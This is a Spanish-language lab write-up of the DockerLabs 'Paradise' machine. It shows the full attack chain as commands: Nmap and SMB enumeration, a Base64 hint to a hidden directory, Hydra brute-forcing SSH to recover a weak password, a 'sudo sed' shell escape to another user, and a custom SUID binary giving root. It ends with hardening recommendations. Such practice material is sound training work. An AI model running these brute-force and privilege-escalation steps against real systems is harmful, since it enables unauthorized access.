> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/paradise.md).

# Paradise

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux que expone SSH, HTTP y Samba.

La cadena de explotacion empieza con enumeracion web sobre una pagina llamada **Andy's house**. Revisando el codigo fuente de la galeria aparece una cadena en Base64 que revela un directorio oculto. Dentro se encuentra un mensaje para `lucas` indicando que su password es debil, lo que permite lanzar fuerza bruta contra SSH. Una vez dentro como `lucas`, la escalada pasa por abusar de `sudo sed` para saltar al usuario `andy` y termina con un binario SUID personalizado que devuelve una shell como `root`.

***

## Reconocimiento

Se realiza un escaneo de versiones con Nmap:

```bash
nmap -sVCS -Pn -n -T4 172.17.0.2
```

![Nmap](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-6d0351f6343f57def1b360d68324a567a492bde7%2F2026-05-16-13-34-10.png?alt=media)

El escaneo muestra cuatro puertos abiertos:

| Puerto  | Servicio    | Version                  |
| ------- | ----------- | ------------------------ |
| 22/tcp  | SSH         | OpenSSH 6.6.1p1 Ubuntu   |
| 80/tcp  | HTTP        | Apache 2.4.7 Ubuntu      |
| 139/tcp | NetBIOS-SSN | Samba smbd 3.X - 4.X     |
| 445/tcp | NetBIOS-SSN | Samba smbd 4.3.11-Ubuntu |

Nmap tambien identifica el grupo de trabajo Samba como `PARADISE`.

***

## Enumeracion web y SMB

Al acceder al puerto 80 aparece una web sencilla:

```
http://172.17.0.2
```

![Web principal](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-23c65c5e3d2719f6cbebba5662bd4ebc4ab60cab%2F2026-05-16-13-40-34.png?alt=media)

La pagina tiene dos rutas visibles: una galeria y una pagina de reserva. En paralelo, se enumeran recursos SMB sin credenciales:

```bash
smbclient -L //172.17.0.2 -N
```

![SMB](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-0dd363b88a1300859585127e9d2a672470c13b64%2F2026-05-16-13-40-46.png?alt=media)

Se identifica el recurso `sambashare`, aunque la via principal termina saliendo por la web.

Al revisar el codigo fuente de `galery.html`, aparece un comentario al final del documento:

```
ZXN0b2VzdW5zZWNyZXRvCg==
```

![Comentario Base64](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-0591084654017d182d708343036bd6786025477f%2F2026-05-16-13-41-24.png?alt=media)

Se decodifica la cadena:

```bash
echo "ZXN0b2VzdW5zZWNyZXRvCg==" | base64 -d
```

![Base64 decode](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-6b471f8acf348990c89e265819bb776dc8100fa7%2F2026-05-16-13-41-50.png?alt=media)

Resultado:

```
estoesunsecreto
```

***

## Directorio oculto

Se realiza fuerza bruta de directorios con Gobuster:

```bash
gobuster dir -u 172.17.0.2:80 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 -t 60
```

![Gobuster](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-e5b5fcf3c82993feebd996270450404791931b9b%2F2026-05-16-13-45-45.png?alt=media)

Aparecen varias rutas:

| Ruta             | Codigo | Comentario                    |
| ---------------- | ------ | ----------------------------- |
| `/index.html`    | 200    | Pagina principal              |
| `/galery.html`   | 200    | Galeria con comentario Base64 |
| `/booking.html`  | 200    | Pagina de reserva             |
| `/img/`          | 301    | Directorio de imagenes        |
| `/server-status` | 403    | Restringido                   |

Con la pista decodificada se accede al directorio oculto y a un mensaje para `lucas`:

```
http://172.17.0.2/estoesunsecreto/mensaje_para_lucas.txt
```

![Mensaje para lucas](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-26b049d33643647f546f9861c80568486d633fe3%2F2026-05-16-13-49-29.png?alt=media)

El mensaje avisa de que la password de `lucas` es debil y puede encontrarse por fuerza bruta.

***

## Acceso por SSH

Se lanza Hydra contra SSH usando el usuario `lucas`:

```bash
hydra -l lucas -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh
```

![Hydra lucas](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-55ec31ea00c7a7d2892888ed0c17114bb86fbfc9%2F2026-05-16-13-50-25.png?alt=media)

Hydra encuentra credenciales validas:

```
lucas:chocolate
```

Se accede por SSH:

```bash
ssh lucas@172.17.0.2
```

![SSH lucas](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-f68a81cedf1acb8645125d724c5bb99fa4d97670%2F2026-05-16-13-51-31.png?alt=media)

El acceso funciona correctamente y se obtiene una shell como `lucas`.

***

## Movimiento lateral

Se revisan los permisos de `sudo`:

```bash
sudo -l
```

![sudo lucas](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-b31f26dea6d78f440c39e0824c3c60c2c7cb6b2d%2F2026-05-16-13-51-17.png?alt=media)

El usuario `lucas` puede ejecutar `/bin/sed` como cualquier usuario sin password:

```
(andy) NOPASSWD: /bin/sed
```

Se abusa de `sed` para ejecutar una shell como `andy`:

```bash
sudo -u andy sed -n '1e exec /bin/sh 1>&0' /etc/hosts
script -c bash /dev/null
```

![Shell andy](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-f3ae122a1caeff5692537fb3ab9a31b504e6aaed%2F2026-05-16-13-52-25.png?alt=media)

Tras el salto, se obtiene una shell como `andy`.

***

## Escalada de privilegios

Como `andy`, se revisan permisos `sudo` y binarios SUID:

```bash
sudo -l
find / -perm -4000 -type f 2>/dev/null
```

![SUID](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-3781de894add2bb0eedff370ce910233d9cff879%2F2026-05-16-13-53-13.png?alt=media)

Entre los binarios SUID aparece uno no habitual:

```
/usr/local/bin/privileged_exec
```

Se ejecuta directamente:

```bash
/usr/local/bin/privileged_exec
```

![Root](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-e2dca076bbeb545db18553e80cdc760d618c8429%2F2026-05-16-14-02-51.png?alt=media)

El binario se ejecuta con EUID efectivo de `root` y entrega una shell privilegiada:

```bash
whoami
```

```
root
```

***

## Conclusion

Paradise es una maquina muy buena para practicar enumeracion progresiva. La explotacion no depende de un exploit publico, sino de conectar pistas: un comentario en el codigo fuente, un directorio oculto, una password debil, una regla `sudo` peligrosa y un binario SUID personalizado.

### Puntos clave

* Nmap detecto SSH, HTTP y Samba.
* La web mostraba una galeria con un comentario Base64.
* La cadena Base64 revelo el directorio `estoesunsecreto`.
* El mensaje oculto apuntaba al usuario `lucas` y a una password debil.
* Hydra encontro la password `chocolate`.
* Se accedio por SSH como `lucas`.
* `lucas` podia ejecutar `sed` como `andy` sin password.
* Se salto a `andy` mediante `sudo -u andy sed`.
* Un binario SUID en `/usr/local/bin/privileged_exec` permitio obtener root.

### Recomendaciones

* No dejar pistas sensibles en comentarios HTML.
* Evitar publicar directorios ocultos con informacion operativa.
* Usar passwords robustas y politicas anti fuerza bruta en SSH.
* Revisar reglas `sudo` que permitan ejecutar binarios capaces de invocar comandos.
* Auditar binarios SUID personalizados y eliminar el bit SUID cuando no sea imprescindible.
